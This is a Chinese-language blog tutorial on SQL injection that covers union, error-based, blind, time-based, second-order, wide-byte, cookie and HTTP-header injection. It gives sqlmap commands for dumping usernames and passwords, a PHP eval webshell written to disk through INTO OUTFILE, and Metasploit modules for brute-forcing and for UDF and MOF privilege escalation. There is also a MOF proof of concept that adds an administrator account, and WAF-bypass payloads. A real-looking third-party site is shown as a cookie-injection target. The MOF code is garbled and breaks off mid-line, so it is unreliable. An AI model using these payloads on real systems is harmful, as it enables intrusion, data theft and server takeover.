学一点SQL注入基础

学一点SQL注入基础

思维导图

在这里插入图片描述

注入基础

例如:python

#引入
import pymysql
db = pymysql.connect(host='', port='', ...)
cur = db.cursor()

#mysql语句、模仿登录
sql = 'select * from user where username=%s and password=%s'%username,password

#执行
cur.execute()
#校验
result = cur.fetchone()
if result:
    print('登录成功')
else:
    print('登录失败')

如果不加安全过滤,当从外界输入进来username= root or 1 = 1; #

SQL语句就会变成 select * from user where username=root or 1 = 1;# and password=%s

#后面的就全被注释掉了、便可以用root的身份登录了

SQL三种注释

  • delete from table;
  • /delete from table/
  • – delete from table
  • ==–==后面需要加空格也就是在注入的时候变成 ==> --+、+的url编码为空格

SQL三种注入类型

  • 数字型
    • select * from tony where id = 1
    • select * from tony where id = -1 union select 1,database(),user()
    • 构造id: -1 union select 1, database(), user()
  • 字符型
    • select * from tony where id = ‘tony’
    • select * from tony where id = ‘’-1 union selecr 1, database(), user()#
    • 构造id:-1’ union select 1, database(), user() --+
  • 搜索型
    • select * from table where xxx like id=’%xxx%’
    • select * from xxx where xxx like id = ‘%%’ union select 1, database(), user() ‘%%’
    • %‘ union select 1, database(), user() --+’%

SQL六种注入方法

参考SQLMAP,报错、盲注、联合、时间、内联、堆叠

联合查询注入

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

构造一个id ==> ?id = 'union select 1, 2, 3 --+

确定字段数

order by语句

ORDER BY 关键字用于对结果集进行排序。

例如order by 4 ==> 得到报错 unknown column ‘4’ in order clause

便可确定字段数小于4

常规步骤

  1. 获取当前数据库及当前数据库用户名

    • 函数:database()、user()
    • information_schema.schemata ==> 存储所有数据库
    • schema_name ==> 数据库名
  2. 获取表名称

    • information_schema ==> 是MySQL5.0及以上自带数据库,用于存储MySQL中所有数据库和数据表和例
    • information_schema.tables ==> 数据库中的表名称
    • information_schema.columns ==> 数据库中的列名称
    • table_name ==> 表名
    • table_schema ==> 数据库名
    • coulmn_name ==> 列名
    • group_concat ==> 将查到的数据列出来
    • 获取表名称的语句:
      • union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = ‘xxx’;、
  3. 获取列名称

    • union select 1, group_concat(coulmn_name),3 from information_schema.columns where table_name = ‘xxx’ and table_schema = ‘xxx’;
  4. 获取数据

    • 获取用户表的所有账号密码
  • union select 1, group_concat(username),group_concat(password) from users;

sqlmap的使用

下载安装:

sqlmap需要环境

1.python 2.7版本

python2.7下载地址:https://www.python.org/

2.sqlmap压缩包

sqlmap下载地址:http://sqlmap.org/

基本流程:

  1. 获取当前所有数据库

    sqlmap -u “http://www.xxx.com/?id=1” --dbs --batch

  2. 获取当前数据a中的所有表

    sqlmap -u “http://www.xxx.com?id=1” -D a --tables --batch

  3. 获取当前数据库a中b表的所有列

    sqlmap -u “http://www.xxx.com?id=1” -D a -T b --columns --batch

  4. 获取当前数据库a中b表c列的数据

    sqlmap -u “http://www.xxx.com?id=1” -D a -T b -C username, password --dump --batch

常用命令:

	-u   查询是否存在注入

	--dbs  :获取当前用户所有数据库
	
	-D   库名  --tables :获取数据库中的表名

	-D 库名 -T 表名 --columns  :获取表中的字段名
	
	-D 库名 -T 表名 -C  username,password  --dump:获取字段内容

	--user :获取数据库的所有用户
	
	--current-db  :获取当前网站使用的数据库

跨库注入

  • 限定条件:

    • 当前数据库用户必须为root ==> 确定用户user()函数
  • 流程:

    • 获取当前所有数据库

      union select 1, group_concat(schema_name),3 from information_schema.schemata

    • 获取你要注入的数据库的表名称

      union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = ‘xxx’

    • 获取你要注入的数据表的列名称

      union select 1, group_concat(column_name),3 from information_schema.colunms where table_name = ‘xxx’ and table_schema = 'xxx’c

    • 获取你需要的数据

      union select 1, group_concat(username),group_concat(password) from xxx.xxx

    • 注意

      在查询表名,列名时,必须限定你要注入的数据库名称,如:xxx.xxx

MySQL注入获取最高权限-文件上传

目的:发现了注入点后,还想 进一步渗透,通过写入文件来获取shell

如:PHP EVAL 一句话木马

<?php eval($_POST["pass"]); ?>

GET 数据从url提交
POST 数据采用隐蔽方式提交
REQUEST 即支持GET方式、又支持POST方式

前提条件:

木马必须被MySQL允许上传,设置secure_file_priv字段为空

secure_file_priv也是可以绕过的(当网站开启了日态功能后可通过mysql日态文件来进行绕过,如果没有开启,则必须有一个执行SQL语句的地方)

原理分析:

执行:select * from users where id= ( (’’) )

sql_injection: ') ) --+、 ') ) #

重新构造SQL执行语句从而达到目的,具体情况需具体分析

执行语句:

写入:union select 1, ‘<? php eval($_POST["pass"]) ?>’,3 into outfile ‘C:\ \1\ \2\ \3.txt’、Windows下双斜杠、可防止转义

导出:select load_file(’/usr/local/nginx/conf/nginx.conf’);

MySQL一句话注入

如何找到站点根目录:

  1. 通过错误爆出路径

    inurl: edu.cn warning

  2. 通过对方网站遗留文件爆出路径

    xxx.xxx/phpinfo.php

  3. 通过漏洞爆出路径

    discuz

  4. 根据对方server类型爆出路径

    IIS:\inetpub\wwwroot\

    phpstudy2020:\phpstudy_pro\WWW\

    phostudy2018:\phpstudy\PHPTutorial\WWW\

  5. 整理思路

    拿到注入点、找到路径并且secure_file_priv为空、即可执行MySQL一句话注入

  6. 获取MySQL拓展文件

    select @@plugin_dir;

  7. 获取安装目录/路径

    select @@basedir;

    select variables like ‘%plugins%’;

常用的msf模块

1 、扫描mysql版本

use auxiliary/scanner/mysql/mysql_version

2、获取相关信息(包括数据库数据目录和相关用户等)

use auxiliary/admin/mysql/mysql_enum

3、密码字典暴露破解

use auxiliary/admin/mysql/mysql_sql

set pass_file “/root/top10000pwd.txt”

run

4、根据用户密码提权

use exploit/windows/mysql/mysql_mof

run

5、udf 提权

exploit/multi/mysql/mysql_udf_payload

run

6、将mysql_schem导出到本地 /root/.msf4/loot/文件夹下

use auxiliary/scanner/mysql/mysql_schemadump

udf提权

1、UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

2、 需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录,创建类似xCzaUwje.so这样的文件

3、调用 sys_exec(),需要创建触发器获取插件目录和进入mysql库权限

4 、执行前提

1.获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。

2.拥有将udf.dll写入相应目录的权限。

3 需要mysql 5.7 开启 secure_file_priv 为非NULL,以下是补充

secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录。

secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。

secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。

secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。

show global variables like ‘%secure%’;

Windows下mysql中UDF提权

利用cookie注入

cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。

相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形成有两个必须条件

条件1:是程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。条件2:在条件1的基础上,还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指

明使用request对象的具体方法进行获取。

1、先打开http://www.st3yy.com/experts_info.asp?id=128,等页面完全打开之后,我们将IE地址栏清空

2、在空白的地址栏上,填写上,以下内javascript: alert(document.cookie=“id=”+escape(“128”));

( 这里的“id=”便是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=”,“escape(“128”)”中的“128”是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=218”了,这两处要具体根据所获的数据来决定)

3、进行了第二步了,打开另一个窗口中,试一下,访问http://www.st3yy.com/experts_info.asp?(既是将“id=128”去掉后),然后看是否能正常访问。

从这里可以知道,程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request(“xx”)的方式。

现在cookie形成的一个重要因素已经明确了。

4、第三步,测试一下是否能提交接特殊字符,看程序是否对数据进行过滤。我们再回到刚才更改cookie的页面,然后在IE地址栏处填写javascript:alert(document.cookie=“id=”+escape(“128 and 1=1”));

6、看页面是否正常,如果正常我们再提交javascript:alert(document.cookie=“id=”+escape(“128 and 1=2”));

7、接下来的工作就和get post注入一样了。

mof提权

原理:
mof是Windows系统的一个文件,位于c:windowssystem32wbemmofnullevt.mof,叫做托管对象格式, 它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,拥有了MySQL的root权限 后,使用root权限去执行上传操作,将我们重新改写过的mof文件上传,之后,这个文件会被服务器每隔5秒 以system权限执行。这个改写的mof中,有一段是vbs脚本,这个vbs大多数是cmd的添加管理员用户的命令。

为什么可以提权?
可以提权的根本原因是因为有一个更高权限的线程执行了命令。我们这里nullevt.mof文件的加载过程由system 用户执行,因此我们可以最高把用户的权限提升到system。

利用条件:
Windows版本<=2003
c:windowssystem32wbemmof目录可写入
数据库允许外连,且已知root账号密码

POC:
这个是创建用户

# pragma namespace("\.rootsubscription")

instance of **EventFilter as $EventFilter{    EventNamespace = "RootCimv2";    Name  = "filtP2";    Query = "Select * From **InstanceModificationEvent "
            "Where TargetInstance Isa "Win32_LocalTime" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
123456789101112131415161718192021

然后把上面的脚本这行更改一下 :

 "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe administrato

HTTP头注入

img

案例:

限制登录次数的功能,使用getip()获取IP,然后查询IP和登录时间,如果超过尝试登录次数就禁止登录

服务端根据HTTP头部的信息来判断用户,客户端这边利用服务端的漏洞进行SQL注入

详情请看

MySQL加解密注入及宽字节注入

  • 加解密注入

    很多情况下,网站管理员会对传参进行一个加密的操作<如:base64,md5,自己写等等>

    即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务

    器,eg:www.xxx.com/index.php?id=MQ==

    加密部分:MQ==

    解密结果:1 相当于id=1

    如果要写注入语句,应该先构造语句,再base64加密,

    id=1 and 1=1

    base64加密结果:MSBhbmQgMT0x

    语句为:www.xxx.com/index.php?id=MSBhbmQgMT0x

  • MySQL宽字节注入

    宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面追加SQL语句进行注入。

    在很多情况下, '符 会被替换成 / 符进入后台,从而无法构造闭合

    例如:

    php中addslashes()函数可给参数加上/ 避免注入

    PHP中配置文件php.ini、magic_quotes_gpc函数开启

    原理:

    在mysql中使用了gbk编码,GBK是多字节编码,它认为两个字节就代表一个汉字,所以参入%df时候会和转义符\(%5c)进行结合,所以单引号就逃逸了出来,从而构造闭合。

    当第一个字节的ascii码大于128,就可以了。

    突破方法(gbk中文2个字节,英文1个字节):

    希腊字母β是2个字节,url编码为%df,构造payload ==> ?id=-1%df%27 union select 1, user(), database(); --+

    参考链接

MySQL报错注入

  • 含义

    • 报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据。
    • 应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;
  • 常见用法

    • extractvalue(不支持union)

      payload ==> and extractvalue(null, concat(0x7e, sql_injection), 0x7e)) ==> 0x7e = ~

      利用这种方式,对后台进行一个排序,指定第一个参数为null,非法传参,让他故意报错,讲第二个参数中的语句代入数据库执行,最后报错显示执行的结果。

    • updatexml

      payload==> and 1 = (updatexml(1, concat(0x7e, (sql_injection)), 1))

      此函数是用来更新xml数据的,当我们非法传参时,故意让他报错,执行我们的SQL语句,从而显示报错执行的结果,0x7e=~任然是用来区分数据的。

    • 更多精彩

insert、update、delete注入

  • 原理

当有信用户注册时,一般会执行如下SQL语句:

insert into users values (id, ’username‘, ’password‘);

当payload为 ==> ’or updatexml(1, concat(0x7e, (version()), 0x7e),0) or‘

insert into users values (id, ‘username’, ’’or updatexml(1, concat(0x7e, (version()), 0x7e),0) or‘‘);

便变成只执行updatexml(1, concat(0x7e, (version()), 0x7e),0)的语句了

  • 常用例子

    • extractvalue

      insert into users values (id, ‘username’, ’’or extractvalue(1, concat(0x7e, (version()), 0x7e),0) or‘‘);

    • updatexml

      insert into users values (id, ‘username’, ’’or updatexml(1, concat(0x7e, (version)), 0x7e),0) or‘‘);

      updatexml函数用来更新xml数据,第一个参数应该传入更新的数据,但当我们非法传参时,导致报错执行了我们的version()函数。

PHP操作数据库

常规的PHP代码:
    
<?php
error_reporting(0);
$id=&_GET("id");
$con=mysql_connect('127.0.0.1','root','password');
mysql_select_db("database",$con);
$sql="select * from users where id=$id";
$res=mysql_query($sql);
$row=mysql_fetch_array($res);
if($res){
    echo $row('username');
}else{
    print_r(mysql_error());
}
    ?>

SQL盲注(bool和sleep)

bool型注入

对比:

盲注普通注入
兼容性好兼容性差
应用广引用窄
效率低效率高
逐步猜解直接获取

常规步骤<递归获取数据>:

  • 获取数据库名长度 – length()函数

    • payload ==》 length(database())= ?
    • ?可代入0-10递归查询出长度
  • 获取数据库名称 – left()函数

    • payload ==》 left(database(),1)=’?’
    • ?可代入字母
    • 数字递增1,2,3,4,5进一步获取数据库名的每个字母
  • 获取表名称 – ascii()函数和substr()函数

    • payload ==》 ascii(substr(select column_name from information_schema.columns where table_schema=‘xxx’ and table_name = ‘xxx’ limit(0,1),1,1))=’?’

    • SELECT column1, column2, columnN 
      FROM table_name
      WHERE field
      LIMIT [num]
      
    • ?代入数字0-127

  • 读取数据

    • 1’ and ascii(substr((select username from users limit 0, 1), 1, 1))=’?’
    • ?处代入数字0-127

延时注入(sleep)

配合if()函数使用,使用sleep()函数进行一个延时

如果满足数据库长度为5则进行延时5秒,反之,不延时。

例如 ==》 select if(length(database())=5,sleep(2),sleep(5))

SQL二次注入

  • 原理
    • 寻找合适的注入点对SQL语句进行拼接,将攻击语句写入到数据库,从而对数据库产生影响,如update更改密码的场景。
  • 步骤:
    • 正常语句:update users set password = ‘xxx’ where username = ‘xxx’ and password = ‘xxx’
    • 构造payload:注册用户username = admin’#
    • 构造后:update users set password = ‘123456’ where username = 'admin‘ # ’ and password = ‘xxx’
    • end ==》 admin密码变成了123456
    • 拿到admin,下一步为所欲为

SQL绕过注入

  • 为什么需要绕过?

很多后台为了防止SQL注入会,使用preg_replace来过滤掉注释和其他影响SQL语句正常执行的符号。

闭合注入

再不需要注释的情况下,构造闭合来执行我们的SQL语句

  1. union select强制闭合

    原语句:select * from users where id = ‘$id’;

    payload:-1’union select 1,2,'3

    代入之后:select * from users where id = '-1’union select 1,(sql_injection),‘3’;

  2. or语句制造闭合

    原语句:select * from users where id=’$id’;

    payload:-1’ union select 1,2,3 or ‘1’ = '1

    代入之后:select * from users where id=’-1’ union select 1,2,3 or ‘1’ = ‘1’;

绕过安全狗

通过一些过滤来达到预防攻击的效果。

  1. 判断过滤的关键字,在前面加上干扰符,比如a。

    如/*! */注释被安全狗认定为不对系统造成伤害,所以不会拦截。

    如使用%0a 换行,%23 注释来反过滤

    payload ==> -1 union %23a%0a/* ! select*/ 1, 2, 3

    让a单独在一行,然后把a注释掉,进行换行让接下来的select语句正常执行

  2. 利用版本号绕过

    /*! 44509select */

常见的方法:

  1. 获取数据库名

    payload ==> -1 union %23a%0a/* ! select * / 1, group_concat(table_name), 3 %23a%0a/ * from ! * / information_schema.tables where table_schema = ‘xxx’;

  2. 获取表名

    -1 union %23a%0a/* ! select */ 1, group_concat(table_name), 3 %23a%0a/ *! from * /

    information_schema.tables where table_schema = ‘xxx’

常见的安全狗:

website_safedog,aliyundun,godaddy,

100种姿势绕过安全狗

如何判断SQL注入

  • 是否有错误回显
  • 延时注入,根据时间判断
  • DNSlog判断是否有回传值

mysql的网站注入,5.0以上和5.0以下有什么区别?

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

5.0以下是多用户单操作,5.0以上是多用户多操做

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值